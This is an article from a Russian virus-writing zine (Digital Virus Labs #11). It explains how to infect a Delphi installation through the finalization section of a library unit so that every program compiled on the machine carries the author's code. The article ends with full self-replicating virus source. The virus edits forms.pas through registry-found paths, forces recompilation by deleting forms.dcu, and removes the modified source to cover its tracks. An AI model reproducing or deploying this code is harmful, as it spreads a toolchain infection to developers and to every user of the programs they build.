- [Digital Virus Labs #11] - [Page 10] - Finalisation v1.0 (c) by Santa/SBVC Идея: В любой проге на дельфях в начале каждого модуля есть такие строки: uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls, Registry; Ну или примерно такие. Они (эти строки) подключают к данному модулю другие модули (Windows.pas, Messages.pas и т.д.) А каждый из этих модулей (собственно и наш модуль тоже) выглядит так: unit Unit1; interface uses Unit2, Unit3; procedure proc1; procedure proc2; implementation procedure proc1; begin DoSomething; end; procedure proc2; begin DoSomething; end; procedure InitProc1; begin DoSomething; end; procedure InitProc2; begin DoSomething; end; procedure UninitProc1; begin DoSomething; end; procedure UninitProc2; begin DoSomething; end; initialization InitProc1; InitProc2; finalization UninitProc1; UninitProc2; end. Наибольший интерес представляют секции initialization и finalization (не путать с секциями в pe exe). Все что находится после слова initialization исполняется при старте программы, все что после finalization при ее завершении. Т.е. мы можем взять к примеру windows.pas и чего-нибудь подписать в секцию finalization (initialization) и это дело будет исполняться каждый раз при завершении (старте) ентой проги. Я даже скажу больше любой проги скомпилированной при помощи дельфей на данной тачке. Но не все так просто. Borland (он же Inprise) для ускорения компиляции изобрел так называемые Delphi Compiled Units (*.dcu файлы) и вместо windows.pas мы имеем windows.dcu. Формат этих дкушников Borland вроде не публиковал, судя по всему это обычные *.obj файлы с некоторыми усовершенствованиями. Обойти это можно следующим образом: у дельфей есть директория под названием Sources, там и хранятся *.pas файлы. Получаем алгоритм заражения: 1. Найти нужный файл в Sources. 2. Скопировать в Lib. 3. Дописать в файл чего-нибудь этакое. 4. Удалить соответствующий *.dcu файл. 5. Когда он появиться вновь (т.е. когда компиляция уже произошла) удалить *.pas файл, это нужно для заметания следов. С этого момента можно считать что каждая прога сделанная в дельфях несет в себе наш код, чего собственно все вирмейкеры и добиваются. Но тут возникает другая проблема (которая не разрешима) - эту славную директорию Sources имеют не все, не все же любители поковыряться в сырцах. :( Есть и плюсы, т.к. формат *.dcu файлов не опубликован то значит и найти в нем наш код будет не легко. :) Имеется еще одна проблема - нужно написать такой код, который после своей компиляции мог бы сгенерировать свой исходный текст. С обычными вирами все просто копируй VirSize байт начиная с VirStart. В макро посуществу все делается за нас т.к. нам доступен исходный текст как бы из вне. Решение всех проблем приводится ниже, вставьте эту процедурку в свою прогу (не забудьте ее где-нибудь вызвать), запустите ее один раз и посмотрите на файл под названием forms.pas в директории Lib (точнее на его конец) там будет (я надеюсь) процедура явно сотворенная не Borland'ом. Теперь лучше всего закрыть дельфя и запустить их снова, создайте новое приложение и нажмите F9, в папке Lib файл forms.pas исчезнет зато появится forms.dcu :) Таперича компиляйте чего хотите и как хотите результат будет один - тотальное заражение всего вами откомпилированного. Да, чуть не забыл сделайте резервную копию forms.dcu... THE END <-------------------------------- cut here --------------------------------> procedure Vir; const VirName = 'finalization'; min = 'Minor'; fin = VirName; pname = 'UninitActiveApplication;'; pas = '\forms.pas'; dcu = '\forms.dcu'; del = 'Software\Borland\Delphi\'; var hk: HKEY; path: String; l, t: Integer; lst, p, w: TStringList; v: Byte; procedure Write(const s: String); begin p.Add(s); w.Add('Write(' + QuotedStr(s) + ');'); end; begin for v := 3 to 8 do begin try if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar(del + Char(Byte(v) + Byte('0')) + '.0'), 0, 0, hk) = 0 then begin l := MAX_PATH; SetLength(path, l); RegQueryValueEx(hk, 'RootDir', nil, nil, PByte(path), @l); path := PChar(path); if RegQueryValueEx(hk, min, nil, nil, nil, @l) <> 0 then begin RegSetValueEx(hk, min, 0, REG_DWORD, @l, 4); RegCloseKey(hk); lst := TStringList.Create; lst.LoadFromFile(path + '\source\vcl' + pas); l := lst.Count - 1; while (l <> -1) and not AnsiSameText(Trim(lst[l]), fin) do Dec(l); if l = -1 then begin l := lst.Count-1; while not AnsiSameText(Trim(lst[l]), 'end.') do Dec(l); Dec(l); lst.Insert(l, pname); lst.Insert(l, fin); end else lst.Insert(l+1,pname); t := lst.Count - 1; while(t <> -1) and not AnsiSameText(Trim(lst[t]), 'initialization') do Dec(t); if t = -1 then t := l; p := TStringList.Create; w := TStringList.Create; Write('procedure UninitActiveApplication;'); Write('const VirName=''finalization'';min=''Minor'';fin=VirName;pname=''UninitActiveApplication;'';pas=''\forms.pas'';dcu=''\forms.dcu'';del=''Software\Borland\Delphi\'';'); Write('var hk:HKEY;path:String;l,t:Integer;lst,p,w:TStringList;v:Byte;'); Write('procedure Write(const s:String);begin p.Add(s);w.Add(''Write('' + QuotedStr(s) + '');'');end;'); Write('begin for v:=3 to 8 do begin try if RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(del+Char(Byte(v)+Byte(''0''))+''.0''),0,0,hk)=0 then begin'); Write('l:=MAX_PATH;SetLength(path,l);RegQueryValueEx(hk,''RootDir'',nil,nil,PByte(path),@l);path:=PChar(path);'); Write('if RegQueryValueEx(hk,min,nil,nil,nil,@l)<>0 then begin'); Write('RegSetValueEx(hk,min,0,REG_DWORD,@l,4);RegCloseKey(hk);lst:=TStringList.Create;'); Write('lst.LoadFromFile(path+''\source\vcl''+pas);l:=lst.Count-1;'); Write('while(l<>-1)and not AnsiSameText(Trim(lst[l]),fin) do Dec(l);'); Write('if l=-1 then begin l:=lst.Count-1;while not AnsiSameText(Trim(lst[l]),''end.'') do Dec(l);'); Write('Dec(l);lst.Insert(l,pname);lst.Insert(l,fin);end else lst.Insert(l+1,pname);'); Write('t:=lst.Count-1;while(t<>-1)and not AnsiSameText(Trim(lst[t]),''initialization'') do Dec(t);'); Write('if t=-1 then t:=l;p:=TStringList.Create;w:=TStringList.Create;'); Write('for l:=p.Count-1 downto p.Count-6 do lst.Insert(t,p[l]);'); Write('for l:=w.Count-1 downto 0 do lst.Insert(t,w[l]);'); Write('for l:=p.Count-7 downto 0 do lst.Insert(t,p[l]);'); Write('lst.SaveToFile(path+''\lib''+pas);DeleteFile(path+''\lib''+dcu);lst.Free;p.Free;w.Free;end'); Write('else begin RegCloseKey(hk);if FileExists(path+''\lib''+dcu) then DeleteFile(path+''\lib''+pas);'); Write('end;end;except end;end;end;'); for l := p.Count - 1 downto p.Count - 6 do lst.Insert(t, p[l]); for l := w.Count - 1 downto 0 do lst.Insert(t, w[l]); for l := p.Count - 7 downto 0 do lst.Insert(t, p[l]); lst.SaveToFile(path + '\lib' + pas); DeleteFile(path + '\lib' + dcu); lst.Free; p.Free; w.Free; end else begin RegCloseKey(hk); if FileExists(path + '\lib' + dcu) then DeleteFile(path + '\lib' + pas); end; end; except end; end; end; <-------------------------------- cut here -------------------------------->